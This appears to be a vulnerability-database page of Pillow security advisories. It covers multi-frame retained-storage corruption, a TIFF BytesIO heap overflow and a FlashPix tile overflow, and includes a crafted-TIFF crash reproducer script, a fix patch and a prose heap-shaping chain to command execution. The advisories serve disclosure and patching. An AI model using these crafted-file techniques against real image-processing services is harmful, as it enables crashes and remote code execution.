Where
-Infinity
0
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary Pillow multi-frame image loaders can retain native ImagingCore storage allocated for one frame while changing the Python-side image mode and decoder tiles for a later frame.

If frame 0 allocates storage for a narrow mode such as L, and a later frame of the same dimensions switches to a wider mode such as RGB or CMYK, Pillow may decode wider pixels into the stale narrow native buffer. This causes native out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented ImageSequence.Iterator + frame.load() path.

Details The root cause appears to be that ImageFile.loadprepare() only reallocates native storage when im is None. It does not verify that the retained native ImagingCore storage still matches self.mode and self.size.

Several multi-frame seek() / open() paths can update self.mode and decoder tiles for a later frame without invalidating im. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.

Verified affected surfaces:

1. PSD

PsdImageFile.seek() can switch from grayscale/native L storage to RGB layer decoding while retaining im. This produces attacker-controlled native out-of-bounds writes and reliable crashes.

2. MPO/JPEG

A crafted two-frame MPO can make frame 0 allocate L storage, then make frame 1 decode CMYK / RGB data into the retained L storage. The documented ImageSequence.Iterator path reaches this with frame.load(). Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.

3. DCX

DcxImageFile.seek() calls PcxImageFile.open(), which changes mode/tile state without a native-storage mode guard. A crafted DCX with L then RGB PCX frames produces retained-storage mismatch and crash.

4. MIC

MIC can call TiffImageFile.open() directly and bypass TIFF's normal guarded seek() behavior. With a NextIFD-based reachable frame transition, this produces retained-storage mismatch and crash.

TIFF appears to be a useful positive control because its seek() path checks both size and mode before reusing storage.

Impact - process crash / denial of service, - native out-of-bounds write, - native over-read in the MPO path.

Stronger proven impact:

- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.

Server-side deployment impact:

- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow. - The attack is one HTTP request and requires no user interaction after upload. - The fixed harmless command-output marker succeeded 10/10 times. - The im=None control was clean 10/10 times.

Reproduction Evidence

Tested version:

text Pillow 12.3.0

MPO terminal proof environments:

text Python 3.12.3 + Pillow 12.3.0, clean PyPI environment: marker 10/10, control 0/10

Python 3.13.14 + Pillow 12.3.0, prepared profile: marker 10/10, control 0/10

Server-side web-upload proof:

text control 1..10: MARKERMISSING controlsummary ok 0 missing 10 /10

vulnerable 1..10: MARKEROK markeroutput <server-user> vulnerablesummary ok 10 missing 0 /10

The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.

I can provide the following private artifacts to maintainers:

- minimal crash fixtures for PSD, MPO, DCX, and MIC, - non-weaponized MPO marker PoC, - local vulnerable web upload demo, - gdb/GEF geometry receipts, - control-run logs, - proposed regression-test shape.

Minimal Reproduction Shape

For the MPO path, the vulnerable consumer shape is:

python from io import BytesIO from PIL import Image, ImageSequence

source = BytesIO(open(path, "rb").read()) image = Image.open(source) iterator = ImageSequence.Iterator(image) next(iterator).load() next(iterator).load()

The crafted image shape is:

text frame 0: mode L, dimensions W x H frame 1: same W x H, wider mode such as CMYK

Frame 0 allocates native L storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.

Suggested Fix Direction

Before reusing native ImagingCore storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.

A central guard in ImageFile.loadprepare() could compare native storage mode/size against self.mode / self.size and allocate fresh storage when they differ. Alternatively, every mode-changing seek() / open() path should explicitly invalidate im before decoding.

Caution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.

Credit

text Rotem Kama

Methodology Note

AI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

A flaw was discovered in python-pillow does where it does not properly restrict operations within the bounds of a memory buffer when decoding PCX images. An application that uses python-pillow to decode untrusted images may be vulnerable to this flaw, which can allow an attacker to crash the application or potentially execute code on the system.

1 / 4
First published (updated )
Severity
9.8
Buffer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

libImaging/SgiRleDecode.c in Pillow before 6.2.2 has an SGI buffer overflow.

1 / 5
Source: GitHub
First published (updated )
Severity
9.8
Buffer Overflow
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in python-pillow. This flaw allows an attacker to pass controlled parameters directly into a convert function, triggering a buffer overflow in the "convert()" or "ImagingConvertTransparent()" functions in Convert.c. The highest threat to this vulnerability is to system availability. In Red Hat Quay, a vulnerable version of python-pillow is shipped with quay-registry-container, however the invoice generation feature which uses python-pillow is disabled by default. Therefore impact has been rated Moderate.

1 / 3
First published (updated )
Severity
9.8
OS Command Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Python Image Library (PIL) 1.1.7 and earlier and Pillow 2.3 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py.

1 / 2
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

PIL.ImageMath.eval in Pillow before 9.0.0 allows evaluation of arbitrary expressions, such as ones that use the Python exec method ImageMath.eval("exec(exit())").

While Pillow 9.0.0 restricted top-level builtins available to PIL.ImageMath.eval(), it did not prevent builtins available to lambda expressions. These are now also restricted in 9.0.1.

1 / 3
First published (updated )
Severity
9.2
Buffer Overflow
AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Heap buffer overflow in tiffWriteProc when saving TIFF to BytesIO Location: src/libImaging/TiffDecode.c:94 in tiffWriteProc() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

Pillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as io.BytesIO rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.

The bug is in tiffWriteProc in src/libImaging/TiffDecode.c. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no fileno(). While writing the directory, libtiff seeks past the current end of data and writes tag values there. tiffWriteProc sizes its realloc() from state->size + size instead of from the write position state->loc. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.

No save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives copy() in im.info. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.

The attached reproducer builds a 131 KB PackBits TIFF and runs Image.open(...).save(io.BytesIO(), "TIFF"). Saving the same image to a file path succeeds, but the BytesIO save aborts with glibc's malloc(): corrupted top size. A second part of the script shows uninitialised heap bytes at the padding offsets of a BytesIO save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.

Details

When im.save() writes a TIFF through libtiff to a target that has no usable fileno() (io.BytesIO, an HTTP response object, a storage backend stream), libtiff is opened with TIFFClientOpen() on Pillow's own in-memory sink, tiffWriteProc / tiffSeekProc in src/libImaging/TiffDecode.c. libtiff treats that sink like a file: when it writes the directory it seeks beyond the current end of data (to eof + IFD size, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:

1. tiffWriteProc sizes its realloc() from state->size + size instead of state->loc + size, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved. 2. The bytes that libtiff skips are never written, and the grown region is a bare realloc(), so they reach the output TIFF with whatever the heap held before.

Both are reachable with default settings by the ordinary "re-encode the upload" sequence Image.open(upload); im.save(io.BytesIO(), "TIFF") with no save options: compression defaults to the source file's (src/PIL/TiffImagePlugin.py:1734), any compression other than raw selects the libtiff writer (:1746), the source's tagv2 entries are passed through to libtiff (:1959), and a target without fileno() leaves fp = 0 (:1928-1935), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened TiffImageFile saved directly (tagv2 passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After convert()/resize()/thumbnail()/copy() the tagv2 entries are gone, but im.info["compression"] (still selecting libtiff) and im.info["iccprofile"] survive and the ICC profile is written as tag 34675 (:1822-1824), an equally attacker-controlled out-of-line value: Image.open(x).copy().save(BytesIO(), "TIFF") with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.

Proof (overflow). A 131 198-byte hand-built TIFF — mode L, 7×8191, Compression=32773 (PackBits), an ImageDescription of 65 535 characters — opened with Image.open() and saved with im.save(io.BytesIO(), "TIFF") aborts a stock build with glibc's malloc(): corrupted top size. The same call against an AddressSanitizer build of the C extensions reports

AddressSanitizer: heap-buffer-overflow ... WRITE of size 65536 #1 tiffWriteProc src/libImaging/TiffDecode.c:115 #4 TIFFFlush #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056 0 bytes to the right of 131072-byte region, allocated by realloc in tiffWriteProc src/libImaging/TiffDecode.c:103

Proof (uninitialised bytes). Saving one 300×300 RGB image as compression="tifflzw" with four odd-length ASCII tags to a BytesIO, once with MALLOCPERTURB=1 (glibc fills fresh allocations with 0xfe) and once with MALLOCPERTURB=170 (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python bytes objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets.

Code walk-through

The sink's state is {data, size (allocated), loc (position), eof (high-water mark)}; the encoder path starts it as a zeroed 64 KiB block (TiffDecode.c:863, calloc(bufsize, 1) with bufsize = 641024, flrealloc = 1). Seeking is unconstrained:

c / src/libImaging/TiffDecode.c:124-141 tiffSeekProc / case 0: state->loc = off; break; / may exceed eof and size / case 1: state->loc += off; break; case 2: state->loc = state->eof + off; break;

and writing assumes loc <= size:

c / src/libImaging/TiffDecode.c:90-117 tiffWriteProc / towrite = MIN(size, state->size - (tsizet)state->loc); / negative if loc > size / if (state->flrealloc && size > towrite) { tsizet newsize = state->size; while (newsize < (size + state->size)) { / capacity target ignores loc / … newsize += 64 1024; } newdata = realloc(state->data, newsize); / tail left uninitialised / … state->size = newsize; towrite = size; } TIFFmemcpy((UINT8 )state->data + state->loc, buf, towrite); / :115 / state->loc += (tofft)towrite; state->eof = MAX(state->loc, state->eof);

A gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it:

write size=63064 at loc=8 (eof=8 size=65536) strip data (PackBits re-encode: write size=2464 at loc=63072 (eof=63072 size=65536) 8 bytes/row × 8191 rows) seek off=0 whence=2 -> loc=65536 = eof = size TIFFWriteDirectory: end of data, already even seek off=4; write size=4 at loc=4 link IFD offset into header seek off=65662 whence=0 (eof=65536 size=65536) 65536 + 126-byte IFD (10 entries) = tag data area write size=65536 at loc=65662 (eof=65536 size=65536) ImageDescription, first out-of-line value

For that last call towrite = 65536 − 65662 = −126, the loop grows newsize until it is ≥ 65536 + 65536, i.e. to 131072, and the memcpy writes [65662, 131198) into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. loc/eof become 131198 > size; ImagingLibTiffEncode later sets size = eof (:1067) and copies [0, eof) out of the same block (:1073), reading past it as well.

The general condition is: at directory-write time the strip data ends within IFD-size bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is IFD size + pad − slack, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) BitsPerSample is stored inline and the first out-of-line value in tag order is DocumentName (269) or ImageDescription (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte BitsPerSample array is written first and absorbs the growth, which is why RGB sources do not hit the overflow.

The disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (seek off=369418 (loc=369417), write size=5 at loc=369418, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the realloc() calls at :103 (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is calloc'd.

The defect was introduced in e782fe721e01 ("initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support", 2013-03-08), first released in Pillow 2.0.0.

Impact

Any service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives convert()/resize()/thumbnail()/copy() in im.info together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class realloc block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (SIGABRT).

Given two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib http.server worker doing nothing but Image.open(BytesIO(body)).save(BytesIO(), "TIFF") per upload executed an attacker-chosen shell command (id>/tmp/r.XXXXXX), answered 200 and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (&system, &PyBytesType) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because TiffImagePlugin turns every IFD entry into one bytes object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (TiffImagePlugin.py:1258, :1271, and getexif() from loadend() at :1331), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB realloc of the sink lands directly below a live 0x540 chunk followed by libtiff's own TIFF handle (malloc(1313) from TIFFClientOpen). The 2384 overflowing bytes rewrite the start of the TIFF struct with the command string, a zeroed tifdir, tifdiroff = 65536, and tifcleanup = system at +0x3f8; libtiff resumes TIFFWriteDirectorySec on the modified handle and calls (tif->tifcleanup)(tif). With gdb on libcsystem the call arrives as libcsystem("id>/tmp/r.…") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← encode (src/encode.c:139). Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this imaging.so), all obtainable from public distribution files.

Independently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (TIFFFdOpen) are unaffected by either issue. The primitive is the same class and attacker position as the TiffDecode.c decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug.

Reproducing

repro is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through TIFFFdOpen and is correct, with the same save into an io.BytesIO, which goes through the tiffWriteProc memory sink.

Part 1: heap overflow. setupenv() builds upload.tif (131 198 bytes) byte by byte: a mode L, 7×8191 image with Compression=32773 (PackBits) and a 65 535-character ImageDescription. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs Image.open("upload.tif").save(<target>, "TIFF") with no options, once with "out.tif" as the target and once with io.BytesIO(). The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting malloc(): corrupted top size.

Part 2: stale heap bytes in the output. A child started with MALLOCPERTURB=170 (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with compression="tifflzw" and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised realloc() memory.

Expected output on this tree:

upload.tif: 131198 bytes save to file path : exit code 0, out.tif = 131210 bytes save to BytesIO : exit code -6, stderr: 'malloc(): corrupted top size' -> heap overflow crashed the process: True

same image, same options, saved to a file path vs. to a BytesIO: offset 369177: file 0x00 BytesIO 0x55 offset 369417: file 0x00 BytesIO 0x55 offset 369423: file 0x00 BytesIO 0x55 offset 369451: file 0x00 BytesIO 0x55

-> BytesIO output contains never-written heap bytes: True

BUG

The last line is BUG if either part shows its defect, and OK otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints OK.

Suggested fix

The attached patch makes tiffWriteProc in src/libImaging/TiffDecode.c honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what realloc() adds (the initial block is already calloc'd, so every byte libtiff skips then reads as 0, exactly as through TIFFFdOpen). For the non-reallocating case (flrealloc == 0), where loc > size would also make towrite negative, it rejects the write with a TIFFError, the same idiom tiffReadProc uses:

diff - while (newsize < (size + state->size)) { + while (newsize < (size + (tsizet)state->loc)) { … + memset((UINT8 )newdata + state->size, 0, newsize - state->size); state->data = newdata; state->size = newsize; towrite = size; + } else if (towrite < 0) { + TIFFError("tiffWriteProc", "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, …); + return 0; }

tiffSeekProc is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, eof can no longer exceed size, so the read-out in ImagingLibTiffEncode (:1067, :1073) stays within the block. The patch also adds testsavebytesioseekpastend to Tests/testfilelibtiff.py, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a BytesIO and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass.

The patch

Size the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in tiffWriteProc

Applies to src/libImaging/TiffDecode.c at the commit above.

diff diff --git a/Tests/testfilelibtiff.py b/Tests/testfilelibtiff.py index 3d804ea4a..d2a926a62 100644 --- a/Tests/testfilelibtiff.py +++ b/Tests/testfilelibtiff.py @@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase): savebytesio("packbits") savebytesio("tifflzw") + def testsavebytesioseekpastend(self, tmppath: Path) -> None: + # When writing the directory, libtiff seeks past the end of the data + # written so far, and then writes the tag values there. Check that the + # in-memory write buffer grows to fit, and that the bytes that are + # skipped over are zero, as they would be when writing to a file. + + # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip + # plus the header are exactly 64 KiB, the initial size of the buffer + im = Image.new("L", (7, 8191)) + im.putdata([(i 37) & 0xFF for i in range(7 8191)]) + kwargs = {"compression": "packbits", "description": "D" 65535} + + outfile = tmppath / "temp.tif" + im.save(outfile, kwargs) + bufferio = io.BytesIO() + im.save(bufferio, format="tiff", kwargs) + assert bufferio.getvalue() == outfile.readbytes() + + # odd-length tag values, so that libtiff pads between them. Large enough + # that the buffer has to be reallocated + im = hopper().resize((300, 300)) + kwargs = { + "compression": "tifflzw", + "description": "abcdef", + "software": "xyz0", + "tiffinfo": {315: "artist", 33432: "copyright!"}, + } + im.save(outfile, kwargs) + bufferio = io.BytesIO() + im.save(bufferio, format="tiff", kwargs) + assert bufferio.getvalue() == outfile.readbytes() + def testsaveycbcr(self, tmppath: Path) -> None: im = hopper("YCbCr") outfile = tmppath / "temp.tif" diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..dd9945493 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -87,11 +87,13 @@ tiffWriteProc(thandlet hdata, tdatat buf, tsizet size) { TRACE(("tiffWriteProc: %d \n", (int)size)); dumpstate(state); + // libtiff may have seeked past the end of the buffer, e.g. when writing the + // directory, so the required size is based on the current location. towrite = MIN(size, state->size - (tsizet)state->loc); if (state->flrealloc && size > towrite) { tdatat newdata; tsizet newsize = state->size; - while (newsize < (size + state->size)) { + while (newsize < (size + (tsizet)state->loc)) { if (newsize > INTMAX - 64 1024) { return 0; } @@ -105,9 +107,20 @@ tiffWriteProc(thandlet hdata, tdatat buf, tsizet size) { // fail out return 0; } + // zero the new space, so that any bytes libtiff seeks over without + // writing are 0 in the output, as they would be in a file + memset((UINT8 )newdata + state->size, 0, newsize - state->size); state->data = newdata; state->size = newsize; towrite = size; + } else if (towrite < 0) { + TIFFError( + "tiffWriteProc", + "Invalid Write at loc %" PRIu64 ", size: %" PRIu64, + state->loc, + (tofft)state->size + ); + return 0; } TRACE(("towrite: %d\n", (int)towrite));

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 5,434 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 """ Pillow: heap overflow + stale heap bytes in the libtiff in-memory write sink (tiffWriteProc, src/libImaging/TiffDecode.c).

im.save(<BytesIO>, "TIFF") with any compression goes through libtiff writing into Pillow's memory sink. When libtiff writes the directory it seeks past the end of the data written so far and writes tag values there:

1. tiffWriteProc grows the buffer to size + writelen instead of loc + writelen, so that write can run off the end of the allocation. 2. The bytes libtiff skipped over are never written, so whatever the heap held there ends up in the output file.

The same saves to a file path are fine (the kernel zero-fills skipped bytes), which is the control for both parts. """ import os import resource import struct import subprocess import sys import tempfile

resource.setrlimit(resource.RLIMITCORE, (0, 0)) # the overflow aborts; no core file os.chdir(tempfile.mkdtemp())

def run(code, env): """Run a Python snippet against the installed Pillow in a fresh process.""" return subprocess.run([sys.executable, "-c", code], env={os.environ, env}, captureoutput=True, text=True)

def setupenv(): """Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription.

Sizes are chosen so that, when Pillow re-encodes it: - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes, i.e. the data ends exactly at the sink's initial 64 KiB buffer; - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes and goes at 65536 + 126 (the 10-entry IFD sits in between). The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198): the last 126 bytes of the description land past the end of the heap block. """ w, h = 7, 8191 # 7 distinct bytes per row -> PackBits can only emit one literal run: 1 + 7 bytes strip = b"".join(b"\x06" + bytes((y 7 + x) 37 & 0xFF for x in range(w)) for y in range(h)) desc = b"D" 65535 + b"\x00" stripoff, descoff = 8, 8 + len(strip) ifdoff = descoff + len(desc) entries = [ (256, 4, 1, w), # ImageWidth (257, 4, 1, h), # ImageLength (258, 3, 1, 8), # BitsPerSample (259, 3, 1, 32773), # Compression = PackBits (inherited by save()) (262, 3, 1, 1), # PhotometricInterpretation = BlackIsZero (270, 2, len(desc), descoff), # ImageDescription (carried into save() via tagv2) (273, 4, 1, stripoff), # StripOffsets (277, 3, 1, 1), # SamplesPerPixel (278, 4, 1, h), # RowsPerStrip (279, 4, 1, len(strip)), # StripByteCounts ] ifd = struct.pack("<H", len(entries)) ifd += b"".join(struct.pack("<HHII", e) for e in entries) ifd += struct.pack("<I", 0) with open("upload.tif", "wb") as f: f.write(struct.pack("<2sHI", b"II", 42, ifdoff) + strip + desc + ifd)

--------------------------------------------------------------------------- Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options. --------------------------------------------------------------------------- setupenv() print(f"upload.tif: {os.path.getsize('upload.tif')} bytes")

RESAVE = 'from PIL import Image; import io; Image.open("upload.tif").save({target}, "TIFF")'

Control: saving to a file path (real fd, no memory sink) works control = run(RESAVE.format(target='"out.tif"')) print(f"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes")

PoC: the identical save into a BytesIO poc = run(RESAVE.format(target="io.BytesIO()")) print(f"save to BytesIO : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}")

A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted overflow = control.returncode == 0 and poc.returncode < 0 print(f"-> heap overflow crashed the process: {overflow}\n")

--------------------------------------------------------------------------- Part 2: stale heap bytes in the output. MALLOCPERTURB=170 makes glibc fill fresh allocations with 0x55, so never-written bytes become visible. --------------------------------------------------------------------------- STALE = r''' import io, random from PIL import Image random.seed(1) im = Image.new("RGB", (300, 300)) # noise -> ~360 KB LZW, so the sink must realloc() im.putdata([tuple(random.randrange(256) for in "rgb") for in range(300 300)]) odd-length ASCII tags: libtiff skips one pad byte after each kw = dict(compression="tifflzw", description="abcdef", software="xyz0", tiffinfo={315: "artist", 33432: "copyright!", 306: "2024:01:01 00:00:00"}) im.save("ref.tif", "TIFF", kw) buf = io.BytesIO() im.save(buf, "TIFF", kw) a, b = open("ref.tif", "rb").read(), buf.getvalue() for i in (i for i in range(len(a)) if a[i] != b[i]): print(f" offset {i}: file 0x{a[i]:02x} BytesIO 0x{b[i]:02x}") ''' stale = run(STALE, MALLOCPERTURB="170").stdout print("same image, same options, saved to a file path vs. to a BytesIO:") print(stale or " outputs identical") leak = "BytesIO 0x55" in stale print(f"-> BytesIO output contains never-written heap bytes: {leak}\n")

print("BUG" if overflow or leak else "OK") </details>

---

1 / 3
Source: GitHub
First published (updated )
Severity
9.2
Buffer Overflow
AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Credits

Researcher: Alex Bouffard (mixbo@pebwalker.com)

Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with Image.open(). The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional olefile dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x8664 Ubuntu 24.04, glibc 2.39).

Details

FpxImagePlugin decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

Image.open() auto-detects them from the OLE2 magic D0CF11E0... whenever the optional olefile package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (compression == 2), the plugin builds a "jpeg" decode tile and derives the (rawmode, jpegmode) pair from attacker-controlled FPX color IDs through the MODES table (src/PIL/FpxImagePlugin.py L25-L32):

python MODES = { ... (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel) ... (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P" }

The Imaging output buffer for the tile is sized for the rawmode (here "LA" = 2 bytes/pixel) (src/decode.c L223-L226):

c state->bytes = (state->bits state->xsize + 7) / 8; // "LA" gives 2 xsize bytes/row ... state->buffer = (UINT8 )calloc(1, state->bytes);

In JpegDecode.c the rawmode string is mapped to a libjpeg outcolorspace. Recognized modes (CMYK, YCbCr, YCbCrK, and so on) get a concrete colorspace, but "LA" and "YCC;P" are not recognized, so control reaches the fallback branch (src/libImaging/JpegDecode.c L219-L221):

c / Disable decoder conversions. / context->cinfo.jpegcolorspace = JCSUNKNOWN; context->cinfo.outcolorspace = JCSUNKNOWN;

Under JCSUNKNOWN, libjpeg performs no color conversion and emits cinfo.numcomponents bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So jpegreadscanlines writes 4 width bytes per row into a buffer allocated for only 2 width bytes (src/libImaging/JpegDecode.c L252):

c ok = jpegreadscanlines(&context->cinfo, &state->buffer, 1); // writes 4W into a 2W buffer

